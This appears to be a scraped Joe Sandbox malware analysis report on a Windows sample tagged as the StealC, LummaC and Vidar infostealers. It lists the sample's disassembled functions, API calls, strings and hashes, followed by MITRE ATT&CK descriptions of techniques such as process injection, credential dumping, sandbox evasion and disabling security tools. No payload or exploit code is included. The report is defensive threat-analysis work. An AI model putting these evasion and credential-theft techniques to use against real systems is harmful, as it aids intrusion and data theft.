Opcode ID: fab0d4cf4e48d773317e734f397b71d711481b84ea46f7a5c82d714da845772e
Instruction ID: aa0d52094f127c53ad70cb294f66823e494130eded97747a7426f3aaefb53b79
Opcode Fuzzy Hash: fab0d4cf4e48d773317e734f397b71d711481b84ea46f7a5c82d714da845772e
Instruction Fuzzy Hash: 4F21E475A00619ABDB129F64CC46DFE7B7CEB48712F010229ED02A7271DB359D0A8BE0

Function 003524E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00352506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0035252C
_lopen.KERNEL32(?,00000040), ref: 0035253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0035254C
_lclose.KERNEL32(00000000), ref: 00352555

Strings

wininit.ini, xrefs: 00352510

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: f58f11b8ce3b65b7a556eae8ad8e59e375b0b5108774df3be43645fa4e1c2320
Instruction ID: 3c47cc9346c028a8f3c1442b1fc388ab937f93e3f6c267a256449c363bd83340
Opcode Fuzzy Hash: f58f11b8ce3b65b7a556eae8ad8e59e375b0b5108774df3be43645fa4e1c2320
Instruction Fuzzy Hash: BF01B5326002186BC7229B65DC0DEDFBB7CDB46762F400255FA49D31E0DE748E45CA91

Function 003536EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00353723
MessageBeep.USER32(00000000), ref: 003539C3
MessageBoxA.USER32(00000000,00000000,valid,00000030), ref: 003539F1

Strings

valid, xrefs: 003539E9, 00353A19
3, xrefs: 00353785

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$valid
API String ID: 2519184315-3539985779
Opcode ID: 976108d0e5cafdb8d52d63e89fe6f10df928c02746fff944766fa51dada4181e
Instruction ID: 843ede98a6558c6dd7100d289d821e9eddb45248d257463794a6c63b04ca0719
Opcode Fuzzy Hash: 976108d0e5cafdb8d52d63e89fe6f10df928c02746fff944766fa51dada4181e
Instruction Fuzzy Hash: 0F91C3B1E012649BDB378B14CC81FEA77A4AB45386F1601A9DC49EB271DB708F88CF51

Function 00356517 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00350000,000007D6,00000005), ref: 0035652A
LoadResource.KERNEL32(00350000,00000000,?,?,00352EE8,00000000,003519E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00356538
DialogBoxIndirectParamA.USER32(00350000,00000000,00000547,003519E0,00000000), ref: 00356557
FreeResource.KERNEL32(00000000,?,?,00352EE8,00000000,003519E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00356560

Strings

.5, xrefs: 0035657C

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: .5
API String ID: 1214682469-3112524179
Opcode ID: 1de2c7584f32f75b35d8520c7e6c2e8183de44359869ac1c227376637637bcef
Instruction ID: 5f87d70e8b9a66791ab9f3984afbd361ee0adf7c9817e2e318006c89598f8830
Opcode Fuzzy Hash: 1de2c7584f32f75b35d8520c7e6c2e8183de44359869ac1c227376637637bcef
Instruction Fuzzy Hash: D9012672140B09BBDB125F6A9C09DBB7A6CEB8A363F410625FE00931B0E7718D1096E1

Function 00356495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 003564DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 003564F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000000), ref: 00356502

Strings

advpack.dll, xrefs: 003564C2, 003564CD, 00356501
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003564AC

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$advpack.dll
API String ID: 438848745-1655358546
Opcode ID: c13d849e2613ca5f21deb523c445de702a5da6eeb7a2d5c3f2685be627be5297
Instruction ID: 92a02ffaae987508250b7469bc1331ead451029bba0d00cfd91ef2ba3677c8c9
Opcode Fuzzy Hash: c13d849e2613ca5f21deb523c445de702a5da6eeb7a2d5c3f2685be627be5297
Instruction Fuzzy Hash: 3901F230540608ABD7529B64DC46FEE773CDB51313F900295F885930E0DE709E8D8A41

Function 00357155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00357182
GetCurrentProcessId.KERNEL32 ref: 00357191
GetCurrentThreadId.KERNEL32 ref: 0035719A
GetTickCount.KERNEL32 ref: 003571A3
QueryPerformanceCounter.KERNEL32(?), ref: 003571B8

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 08149ae696324c0566c634ec238ca7169f5ddafe6bc6f1454098f984e20f9299
Instruction ID: 88c47c058de45881bfd89ec31e5002bb2f4222f90194194d4d6a7b73477642ff
Opcode Fuzzy Hash: 08149ae696324c0566c634ec238ca7169f5ddafe6bc6f1454098f984e20f9299
Instruction Fuzzy Hash: 2D111F71D05B08EFCB11DFB8EA48A9EB7F8EF48316F914555D805E7260DA309B049B41

Function 003519E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00351A18
GetDesktopWindow.USER32 ref: 00351A24
LoadStringA.USER32(?,?,00000200), ref: 00351A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00351A62
MessageBeep.USER32(000000FF), ref: 00351A6A

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: e64be3b611a5540da4551f4aade879b6b9b63621bfb69916005d96f68aec8145
Instruction ID: 671cb5297fdb16cd6f98ef62f68281b930853c1e488f95bd681adee3792e9353
Opcode Fuzzy Hash: e64be3b611a5540da4551f4aade879b6b9b63621bfb69916005d96f68aec8145
Instruction Fuzzy Hash: 1011CE31500609ABDB03EF64DD08FAE7BBCEB09302F108250E922971B0CA309F14DB91

Function 003563C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0035642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0035645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 0035647A

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003563EB

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 1065093856-2356899610
Opcode ID: 3220a5da0b8cb53d700b922ca50b2ed5918c86405db26aa183f2a49d7db88fb8
Instruction ID: a124fbb444d3ad5971f543283d4648cfba4aab4ec6a246e76ec88e46e8bb7eb9
Opcode Fuzzy Hash: 3220a5da0b8cb53d700b922ca50b2ed5918c86405db26aa183f2a49d7db88fb8
Instruction Fuzzy Hash: 1F212BB1A0021CAFCB12DF25DC85FEB777CEB44312F000169F944A71A0DAB05E888F60

Function 003547E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00354E6F), ref: 003547EA
LocalAlloc.KERNEL32(00000040,?), ref: 00354823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00354847

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00354851

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 359063898-2356899610
Opcode ID: d15563854c4705319b82317f6b25ff83bac8f5f13e696a7364a115dd7999a4ef
Instruction ID: 15d9154bebd58b8a498c17b3fcad665dce540c3476877344fff28c96500bcc73
Opcode Fuzzy Hash: d15563854c4705319b82317f6b25ff83bac8f5f13e696a7364a115dd7999a4ef
Instruction Fuzzy Hash: 661129B5204B41AFD71B8F34DC18F763B5EEB85306F148919FE429B361DA368D4A8660

Function 00353680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0035369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003536B2
DispatchMessageA.USER32(?), ref: 003536CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003536DA

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: fc6d978ab8a7234166d184c582538968a42459e5f9ef6fac5bb37a262db9e6c5
Instruction ID: ec86c1cfa4ad3644983c48d8749477682b862ffeb0c9abe5e0f0b0567e5a6e31
Opcode Fuzzy Hash: fc6d978ab8a7234166d184c582538968a42459e5f9ef6fac5bb37a262db9e6c5
Instruction Fuzzy Hash: 0301A77290021877DB314BA65C88EEB7B7CEBC5B52F01021DFD05E21A0D560C644D671

Function 003565E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00352B33), ref: 00356602
CharPrevA.USER32(?,00000000), ref: 00356612
CharPrevA.USER32(?,00000000), ref: 00356629
CharNextA.USER32(00000000), ref: 00356635

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: ee4c42b9691f3200e08875124614fc6f984e0a6d4659b6fb601cb84cc40c7be9
Instruction ID: 3dbcb283ca85c5e959121ef814af536ed20cfc39cb7468bc137ec00fe30993bb
Opcode Fuzzy Hash: ee4c42b9691f3200e08875124614fc6f984e0a6d4659b6fb601cb84cc40c7be9
Instruction Fuzzy Hash: 75F02D311049506ED7331B284C88CBBBF9CCF87357F5A026FE9D183031D6150D0A9761

Function 003569B0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00356FBE: GetModuleHandleW.KERNEL32(00000000,?,003569C1,00000002), ref: 00356FC5

__set_app_type.MSVCRT ref: 003569C2
__p__fmode.MSVCRT ref: 003569D8
__p__commode.MSVCRT ref: 003569E6
__setusermatherr.MSVCRT ref: 00356A07

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 68f991850a8d4d5988287ac76ca025b0aadf84ca3dd5df62b7483da654b4678b
Instruction ID: fa29113be5f4516fb2f41873e705077c761aed04022838736b71b7a6e76d3c5e
Opcode Fuzzy Hash: 68f991850a8d4d5988287ac76ca025b0aadf84ca3dd5df62b7483da654b4678b
Instruction Fuzzy Hash: 73F098B05087019FD757AB34FD0BA093BA9FB05333F500A19E862AB2F1DF3A8549DA11

Function 00356952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W5,?,00000000,00355760,?,A:\), ref: 0035697F
MulDiv.KERNEL32(?,?,00000400), ref: 00356999

Strings

`W5, xrefs: 00356972, 00356975

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W5
API String ID: 1705453755-350166402
Opcode ID: edbdbeb3f93e8d443048a2c49614b5a83bac5de6ff38678c41e0f85a5ea01d68
Instruction ID: 1eff28df3c6edbfa755e2647196856d94c74897a799e33b0ccff262e4a74c643
Opcode Fuzzy Hash: edbdbeb3f93e8d443048a2c49614b5a83bac5de6ff38678c41e0f85a5ea01d68
Instruction Fuzzy Hash: F8F0E7B6D00228BBCB12DFE8CC45ADEBBBCEB48701F504296A910E3250DA719A049B91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ByVoN4bhSU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures
